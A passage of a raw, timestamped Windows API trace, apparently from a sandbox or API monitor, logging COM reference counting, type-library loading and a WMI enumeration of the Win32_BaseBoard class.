?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0076.805] WinMGMTS:IUnknown:Release (This=0x52e0850) returned 0x0 [0076.805] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0076.807] IUnknown:QueryInterface (in: This=0x89e200, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e2a0 | out: ppvObject=0x36e2a0*=0x89e200) returned 0x0 [0076.807] IUnknown:QueryInterface (in: This=0x89e200, riid=0x73be4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x36e25c | out: ppvObject=0x36e25c*=0x0) returned 0x80004002 [0076.807] IUnknown:QueryInterface (in: This=0x89e200, riid=0x73b10b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x36e150 | out: ppvObject=0x36e150*=0x0) returned 0x80004002 [0076.808] IUnknown:AddRef (This=0x89e200) returned 0x3 [0076.808] CoGetContextToken (in: pToken=0x36e0e8 | out: pToken=0x36e0e8) returned 0x0 [0076.808] CoGetContextToken (in: pToken=0x36e0ac | out: pToken=0x36e0ac) returned 0x0 [0076.808] IUnknown:QueryInterface (in: This=0x8596b8, riid=0x73be3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e0e0 | out: ppvObject=0x36e0e0*=0x8596c4) returned 0x0 [0076.808] IComThreadingInfo:GetCurrentApartmentType (in: This=0x8596c4, pAptType=0x36e110 | out: pAptType=0x36e110*=3) returned 0x0 [0076.808] IUnknown:Release (This=0x8596c4) returned 0x1 [0076.808] IUnknown:QueryInterface (in: This=0x89e200, riid=0x73ac23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e0d0 | out: ppvObject=0x36e0d0*=0x89e214) returned 0x0 [0076.808] IMarshal:GetUnmarshalClass (in: This=0x89e214, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x36e0d8 | out: pCid=0x36e0d8*(Data1=0x306, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0076.811] IUnknown:Release (This=0x89e214) returned 0x3 [0076.812] CoGetContextToken (in: pToken=0x36e0e0 | out: pToken=0x36e0e0) returned 0x0 [0076.812] IUnknown:AddRef (This=0x89e200) returned 0x4 [0076.812] IUnknown:QueryInterface (in: This=0x89e200, riid=0x73b1767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e154 | out: ppvObject=0x36e154*=0x0) returned 0x80004002 [0076.812] IUnknown:Release (This=0x89e200) returned 0x3 [0076.812] IUnknown:Release (This=0x89e200) returned 0x2 [0076.812] CoGetContextToken (in: pToken=0x36e554 | out: pToken=0x36e554) returned 0x0 [0076.813] CoGetContextToken (in: pToken=0x36e514 | out: pToken=0x36e514) returned 0x0 [0076.813] IUnknown:AddRef (This=0x89e200) returned 0x3 [0076.813] IUnknown:QueryInterface (in: This=0x89e200, riid=0x36e590*(Data1=0xf, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e58c | out: ppvObject=0x36e58c*=0x89e200) returned 0x0 [0076.813] IUnknown:Release (This=0x89e200) returned 0x3 [0076.814] IUnknown:Release (This=0x89e200) returned 0x2 [0076.814] IUnknown:Release (This=0x89e200) returned 0x1 [0076.814] IUnknown:Release (This=0x87bde8) returned 0x2 [0076.815] CoGetContextToken (in: pToken=0x36e5e0 | out: pToken=0x36e5e0) returned 0x0 [0076.815] CoGetContextToken (in: pToken=0x36e5a0 | out: pToken=0x36e5a0) returned 0x0 [0076.815] IUnknown:AddRef (This=0x89e200) returned 0x2 [0076.815] IUnknown:QueryInterface (in: This=0x89e200, riid=0x36e61c*(Data1=0xf, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e618 | out: ppvObject=0x36e618*=0x89e200) returned 0x0 [0076.815] IUnknown:Release (This=0x89e200) returned 0x2 [0076.815] IUnknown:AddRef (This=0x89e200) returned 0x3 [0076.815] BindMoniker (in: pmk=0x89e200, grfOpt=0x0, iidResult=0x24d6944*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvResult=0x36e9f0 | out: ppvResult=0x36e9f0*=0x52ec898) returned 0x0 [0076.815] IUnknown:QueryInterface (in: This=0x52ec898, riid=0x24d6944*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e9f0 | out: ppvObject=0x36e9f0*=0x52ec898) returned 0x0 [0076.817] LoadRegTypeLib (in: rguid=0x7468364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x0, pptlib=0x36e118*=0x0 | out: pptlib=0x36e118*=0x8a3dd0) returned 0x0 [0076.841] ITypeLib:GetTypeInfoOfGuid (in: This=0x8a3dd0, guid=0x52ec8dc, ppTInfo=0x52ec8c4 | out: ppTInfo=0x52ec8c4*=0x8a5924) returned 0x0 [0076.841] IUnknown:Release (This=0x8a3dd0) returned 0x1 [0076.841] IUnknown:AddRef (This=0x8a5924) returned 0x2 [0076.841] ITypeInfo:RemoteGetTypeAttr (in: This=0x8a5924, ppTypeAttr=0x36e15c, pDummy=0x73baeb6d | out: ppTypeAttr=0x36e15c, pDummy=0x73baeb6d*=0xffee98e8) returned 0x0 [0076.843] ITypeInfo:LocalReleaseTypeAttr (This=0x8a5924) returned 0x8999f0 [0076.843] IUnknown:Release (This=0x8a5924) returned 0x1 [0076.843] CoGetContextToken (in: pToken=0x36e0e8 | out: pToken=0x36e0e8) returned 0x0 [0076.843] CoGetContextToken (in: pToken=0x36e0ac | out: pToken=0x36e0ac) returned 0x0 [0076.843] IUnknown:QueryInterface (in: This=0x8596b8, riid=0x73be3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e0e0 | out: ppvObject=0x36e0e0*=0x8596c4) returned 0x0 [0076.844] IComThreadingInfo:GetCurrentApartmentType (in: This=0x8596c4, pAptType=0x36e110 | out: pAptType=0x36e110*=3) returned 0x0 [0076.844] IUnknown:Release (This=0x8596c4) returned 0x1 [0076.844] CoGetContextToken (in: pToken=0x36e0e0 | out: pToken=0x36e0e0) returned 0x0 [0076.844] IUnknown:Release (This=0x89e200) returned 0x2 [0076.866] CoGetContextToken (in: pToken=0x36e618 | out: pToken=0x36e618) returned 0x0 [0076.867] LoadRegTypeLib (in: rguid=0x7468364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x36e614*=0x0 | out: pptlib=0x36e614*=0x8a3dd0) returned 0x0 [0076.869] ITypeLib:GetTypeInfoOfGuid (in: This=0x8a3dd0, guid=0x52ec8cc, ppTInfo=0x52ec8c0 | out: ppTInfo=0x52ec8c0*=0x8a5950) returned 0x0 [0076.869] IUnknown:Release (This=0x8a3dd0) returned 0x2 [0076.869] IUnknown:AddRef (This=0x8a5950) returned 0x2 [0076.869] DispGetIDsOfNames (in: ptinfo=0x8a5950, rgszNames=0x36e670*="InstancesOf", cNames=0x1, rgdispid=0x36e660 | out: rgdispid=0x36e660*=5) returned 0x0 [0076.871] IUnknown:Release (This=0x8a5950) returned 0x1 [0076.872] IUnknown:AddRef (This=0x8a5950) returned 0x2 [0076.872] ITypeInfo:LocalInvoke (This=0x8a5950) returned 0x0 [0076.872] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0076.872] GetCurrentThreadId () returned 0x7e8 [0076.872] WbemLocator:IUnknown:AddRef (This=0x52ed304) returned 0x3 [0076.872] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0076.872] GetCurrentThreadId () returned 0x7e8 [0076.872] IWbemServices:CreateInstanceEnum (in: This=0x52ed304, strFilter="Win32_BaseBoard", lFlags=16, pCtx=0x0, ppEnum=0x36e2bc | out: ppEnum=0x36e2bc*=0x52e08dc) returned 0x0 [0076.882] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52e0918 [0076.882] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52e0978 [0076.882] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52ed378 [0076.882] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52ec9a8 [0076.882] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52ed3d8 [0076.882] IUnknown:QueryInterface (in: This=0x52e08dc, riid=0x746831fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e1d4 | out: ppvObject=0x36e1d4*=0x52e08e0) returned 0x0 [0076.882] IClientSecurity:QueryBlanket (in: This=0x52e08e0, pProxy=0x52e08dc, pAuthnSvc=0x36e1c4, pAuthzSvc=0x36e1c8, pServerPrincName=0x0, pAuthnLevel=0x36e1f0, pImpLevel=0x36e1ec, pAuthInfo=0x0, pCapabilites=0x36e1dc | out: pAuthnSvc=0x36e1c4*=0xa, pAuthzSvc=0x36e1c8*=0x0, pServerPrincName=0x0, pAuthnLevel=0x36e1f0*=0x6, pImpLevel=0x36e1ec*=0x2, pAuthInfo=0x0, pCapabilites=0x36e1dc*=0x1) returned 0x0 [0076.882] IUnknown:Release (This=0x52e08e0) returned 0x1 [0076.882] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0076.882] GetCurrentThreadId () returned 0x7e8 [0076.882] WbemLocator:IUnknown:QueryInterface (in: This=0x52ed304, riid=0x746831fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e1b8 | out: ppvObject=0x36e1b8*=0x89be7c) returned 0x0 [0076.882] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x89be7c, pProxy=0x52ed304, pAuthnSvc=0x36e1a8, pAuthzSvc=0x36e1ac, pServerPrincName=0x0, pAuthnLevel=0x36e1d8, pImpLevel=0x36e1dc, pAuthInfo=0x0, pCapabilites=0x36e1c0 | out: pAuthnSvc=0x36e1a8*=0xa, pAuthzSvc=0x36e1ac*=0x0, pServerPrincName=0x0, pAuthnLevel=0x36e1d8*=0x6, pImpLevel=0x36e1dc*=0x3, pAuthInfo=0x0, pCapabilites=0x36e1c0*=0x20) returned 0x0 [0076.882] WbemLocator:IUnknown:Release (This=0x89be7c) returned 0x3 [0076.882] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0076.883] GetCurrentThreadId () returned 0x7e8 [0076.883] WbemLocator:IUnknown:QueryInterface (in: This=0x52ed304, riid=0x746831fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e1b8 | out: ppvObject=0x36e1b8*=0x89be7c) returned 0x0 [0076.883] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x89be7c, pProxy=0x52ed304, pAuthnSvc=0x36e1a8, pAuthzSvc=0x36e1ac, pServerPrincName=0x0, pAuthnLevel=0x36e1dc, pImpLevel=0x36e1d8, pAuthInfo=0x0, pCapabilites=0x36e1c0 | out: pAuthnSvc=0x36e1a8*=0xa, pAuthzSvc=0x36e1ac*=0x0, pServerPrincName=0x0, pAuthnLevel=0x36e1dc*=0x6, pImpLevel=0x36e1d8*=0x3, pAuthInfo=0x0, pCapabilites=0x36e1c0*=0x20) returned 0x0 [0076.883] WbemLocator:IUnknown:Release (This=0x89be7c) returned 0x3 [0076.883] IUnknown:QueryInterface (in: This=0x52e08dc, riid=0x746831fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e204 | out: ppvObject=0x36e204*=0x52e08e0) returned 0x0 [0076.883] IClientSecurity:CopyProxy (in: This=0x52e08e0, pProxy=0x52e08dc, ppCopy=0x36e208 | out: ppCopy=0x36e208*=0x52ed51c) returned 0x0 [0076.883] IUnknown:QueryInterface (in: This=0x52ed51c, riid=0x746831fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e120 | out: ppvObject=0x36e120*=0x52ed520) returned 0x0 [0076.883] IClientSecurity:QueryBlanket (in: This=0x52ed520, pProxy=0x52ed51c, pAuthnSvc=0x36e144, pAuthzSvc=0x36e134, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x36e144*=0xa, pAuthzSvc=0x36e134*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0076.883] IUnknown:Release (This=0x52ed520) returned 0x3 [0076.883] IUnknown:QueryInterface (in: This=0x52ed51c, riid=0x746834f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e0f8 | out: ppvObject=0x36e0f8*=0x8a6804) returned 0x0 [0076.883] IUnknown:QueryInterface (in: This=0x52ed51c, riid=0x746831fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e0fc | out: ppvObject=0x36e0fc*=0x52ed520) returned 0x0 [0076.883] IClientSecurity:SetBlanket (This=0x52ed520, pProxy=0x52ed51c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0076.887] IUnknown:Release (This=0x52ed520) returned 0x4 [0076.887] WbemLocator:IUnknown:Release (This=0x8a6804) returned 0x3 [0076.887] IUnknown:Release (This=0x52e08e0) returned 0x2 [0076.887] IUnknown:AddRef (This=0x52ed51c) returned 0x3 [0076.887] IUnknown:Release (This=0x52e08dc) returned 0x2 [0076.887] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x36e274 | out: pperrinfo=0x36e274*=0x0) returned 0x1 [0076.887] WbemLocator:IUnknown:Release (This=0x52ed304) returned 0x2 [0076.887] IUnknown:Release (This=0x8a5950) returned 0x1 [0076.890] LoadRegTypeLib (in: rguid=0x7468364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x0, pptlib=0x36df10*=0x0 | out: pptlib=0x36df10*=0x8a3dd0) returned 0x0 [0076.892] ITypeLib:GetTypeInfoOfGuid (in: This=0x8a3dd0, guid=0x52e0950, ppTInfo=0x52e0938 | out: ppTInfo=0x52e0938*=0x8a5a58) returned 0x0 [0076.892] IUnknown:Release (This=0x8a3dd0) returned 0x3 [0076.892] IUnknown:AddRef (This=0x8a5a58) returned 0x2 [0076.892] ITypeInfo:RemoteGetTypeAttr (in: This=0x8a5a58, ppTypeAttr=0x36df54, pDummy=0x73bad565 | out: ppTypeAttr=0x36df54, pDummy=0x73bad565) returned 0x0 [0076.892] ITypeInfo:LocalReleaseTypeAttr (This=0x8a5a58) returned 0x8999f0 [0076.892] IUnknown:Release (This=0x8a5a58) returned 0x1 [0076.893] CoGetContextToken (in: pToken=0x36dee0 | out: pToken=0x36dee0) returned 0x0 [0076.893] CoGetContextToken (in: pToken=0x36dea4 | out: pToken=0x36dea4) returned 0x0 [0076.893] IUnknown:QueryInterface (in: This=0x8596b8, riid=0x73be3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36ded8 | out: ppvObject=0x36ded8*=0x8596c4) returned 0x0 [0076.893] IComThreadingInfo:GetCurrentApartmentType (in: This=0x8596c4, pAptType=0x36df08 | out: pAptType=0x36df08*=3) returned 0x0 [0076.893] IUnknown:Release (This=0x8596c4) returned 0x1 [0076.893] CoGetContextToken (in: pToken=0x36ded8 | out: pToken=0x36ded8) returned 0x0 [0076.895] CoGetContextToken (in: pToken=0x36e8a8 | out: pToken=0x36e8a8) returned 0x0 [0076.895] CoGetContextToken (in: pToken=0x36e868 | out: pToken=0x36e868) returned 0x0 [0076.896] CoGetContextToken (in: pToken=0x36e8f0 | out: pToken=0x36e8f0) returned 0x0 [0076.896] LoadRegTypeLib (in: rguid=0x7468364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x400, pptlib=0x36e8f0*=0x0 | out: pptlib=0x36e8f0*=0x8a3dd0) returned 0x0 [0076.898] ITypeLib:GetTypeInfoOfGuid (in: This=0x8a3dd0, guid=0x52e0940, ppTInfo=0x52e0934 | out: ppTInfo=0x52e0934*=0x8a5a00) returned 0x0 [0076.898] IUnknown:Release (This=0x8a3dd0) returned 0x4 [0076.898] IUnknown:AddRef (This=0x8a5a00) returned 0x2 [0076.898] ITypeInfo:LocalInvoke (This=0x8a5a00) returned 0x0 [0076.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0076.898] GetCurrentThreadId () returned 0x7e8 [0076.898] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52e0810 [0076.898] IUnknown:Release (This=0x8a5a00) returned 0x1 [0076.899] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0077.203] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x878240 [0077.204] GetLastError () returned 0x0 [0077.205] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x8782c8 [0077.205] GetLastError () returned 0x0 [0077.220] CoGetContextToken (in: pToken=0x36e7b0 | out: pToken=0x36e7b0) returned 0x0 [0077.231] CoGetContextToken (in: pToken=0x36e3d8 | out: pToken=0x36e3d8) returned 0x0 [0077.231] IUnknown:AddRef (This=0x8a5a00) returned 0x2 [0077.231] ITypeInfo:LocalInvoke (This=0x8a5a00) returned 0x0 [0077.231] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0077.231] GetCurrentThreadId () returned 0x7e8 [0077.231] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0077.231] GetCurrentThreadId () returned 0x7e8 [0077.231] IUnknown:AddRef (This=0x52ed51c) returned 0x3 [0077.232] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0077.232] GetCurrentThreadId () returned 0x7e8 [0077.232] IEnumWbemClassObject:Clone (in: This=0x52ed51c, ppEnum=0x36e3c8 | out: ppEnum=0x36e3c8*=0x52ed5e4) returned 0x0 [0077.233] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52ed620 [0077.233] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52ed680 [0077.233] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52ed6e0 [0077.233] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52ec988 [0077.234] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52ed740 [0077.234] IUnknown:QueryInterface (in: This=0x52ed5e4, riid=0x746831fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e2e0 | out: ppvObject=0x36e2e0*=0x52ed5e8) returned 0x0 [0077.234] IClientSecurity:QueryBlanket (in: This=0x52ed5e8, pProxy=0x52ed5e4, pAuthnSvc=0x36e2d0, pAuthzSvc=0x36e2d4, pServerPrincName=0x0, pAuthnLevel=0x36e2fc, pImpLevel=0x36e2f8, pAuthInfo=0x0, pCapabilites=0x36e2e8 | out: pAuthnSvc=0x36e2d0*=0xa, pAuthzSvc=0x36e2d4*=0x0, pServerPrincName=0x0, pAuthnLevel=0x36e2fc*=0x6, pImpLevel=0x36e2f8*=0x2, pAuthInfo=0x0, pCapabilites=0x36e2e8*=0x1) returned 0x0 [0077.234] IUnknown:Release (This=0x52ed5e8) returned 0x1 [0077.234] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0077.234] GetCurrentThreadId () returned 0x7e8 [0077.234] IUnknown:QueryInterface (in: This=0x52ed51c, riid=0x746831fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e2c4 | out: ppvObject=0x36e2c4*=0x52ed520) returned 0x0 [0077.234] IClientSecurity:QueryBlanket (in: This=0x52ed520, pProxy=0x52ed51c, pAuthnSvc=0x36e2b4, pAuthzSvc=0x36e2b8, pServerPrincName=0x0, pAuthnLevel=0x36e2e4, pImpLevel=0x36e2e8, pAuthInfo=0x0, pCapabilites=0x36e2cc | out: pAuthnSvc=0x36e2b4*=0xa, pAuthzSvc=0x36e2b8*=0x0, pServerPrincName=0x0, pAuthnLevel=0x36e2e4*=0x6, pImpLevel=0x36e2e8*=0x3, pAuthInfo=0x0, pCapabilites=0x36e2cc*=0x20) returned 0x0 [0077.234] IUnknown:Release (This=0x52ed520) returned 0x3 [0077.234] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0077.234] GetCurrentThreadId () returned 0x7e8 [0077.234] IUnknown:QueryInterface (in: This=0x52ed51c, riid=0x746831fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e2c4 | out: ppvObject=0x36e2c4*=0x52ed520) returned 0x0 [0077.234] IClientSecurity:QueryBlanket (in: This=0x52ed520, pProxy=0x52ed51c, pAuthnSvc=0x36e2b4, pAuthzSvc=0x36e2b8, pServerPrincName=0x0, pAuthnLevel=0x36e2e8, pImpLevel=0x36e2e4, pAuthInfo=0x0, pCapabilites=0x36e2cc | out: pAuthnSvc=0x36e2b4*=0xa, pAuthzSvc=0x36e2b8*=0x0, pServerPrincName=0x0, pAuthnLevel=0x36e2e8*=0x6, pImpLevel=0x36e2e4*=0x3, pAuthInfo=0x0, pCapabilites=0x36e2cc*=0x20) returned 0x0 [0077.234] IUnknown:Release (This=0x52ed520) returned 0x3 [0077.234] IUnknown:QueryInterface (in: This=0x52ed5e4, riid=0x746831fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e310 | out: ppvObject=0x36e310*=0x52ed5e8) returned 0x0 [0077.234] IClientSecurity:CopyProxy (in: This=0x52ed5e8, pProxy=0x52ed5e4, ppCopy=0x36e314 | out: ppCopy=0x36e314*=0x52ed884) returned 0x0 [0077.234] IUnknown:QueryInterface (in: This=0x52ed884, riid=0x746831fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e22c | out: ppvObject=0x36e22c*=0x52ed888) returned 0x0 [0077.235] IClientSecurity:QueryBlanket (in: This=0x52ed888, pProxy=0x52ed884, pAuthnSvc=0x36e250, pAuthzSvc=0x36e240, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x36e250*=0xa, pAuthzSvc=0x36e240*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0077.235] IUnknown:Release (This=0x52ed888) returned 0x3 [0077.235] IUnknown:QueryInterface (in: This=0x52ed884, riid=0x746834f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e204 | out: ppvObject=0x36e204*=0x8ad3c4) returned 0x0 [0077.235] IUnknown:QueryInterface (in: This=0x52ed884, riid=0x746831fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e208 | out: ppvObject=0x36e208*=0x52ed888) returned 0x0 [0077.235] IClientSecurity:SetBlanket (This=0x52ed888, pProxy=0x52ed884, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0077.237] IUnknown:Release (This=0x52ed888) returned 0x4 [0077.237] WbemLocator:IUnknown:Release (This=0x8ad3c4) returned 0x3 [0077.237] IUnknown:Release (This=0x52ed5e8) returned 0x2 [0077.237] IUnknown:AddRef (This=0x52ed884) returned 0x3 [0077.237] IUnknown:Release (This=0x52ed5e4) returned 0x2 [0077.237] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x36e380 | out: pperrinfo=0x36e380*=0x0) returned 0x1 [0077.237] IUnknown:Release (This=0x52ed51c) returned 0x2 [0077.237] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0077.237] GetCurrentThreadId () returned 0x7e8 [0077.237] IUnknown:AddRef (This=0x52ed884) returned 0x3 [0077.237] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0077.237] GetCurrentThreadId () returned 0x7e8 [0077.237] IEnumWbemClassObject:Reset (This=0x52ed884) returned 0x0 [0077.238] IUnknown:Release (This=0x52ed884) returned 0x2 [0077.238] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52e0810 [0077.238] IUnknown:Release (This=0x8a5a00) returned 0x1 [0077.239] CoGetContextToken (in: pToken=0x36de40 | out: pToken=0x36de40) returned 0x0 [0077.239] CoGetContextToken (in: pToken=0x36de04 | out: pToken=0x36de04) returned 0x0 [0077.240] IUnknown:QueryInterface (in: This=0x8596b8, riid=0x73be3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36de38 | out: ppvObject=0x36de38*=0x8596c4) returned 0x0 [0077.240] IComThreadingInfo:GetCurrentApartmentType (in: This=0x8596c4, pAptType=0x36de68 | out: pAptType=0x36de68*=3) returned 0x0 [0077.240] IUnknown:Release 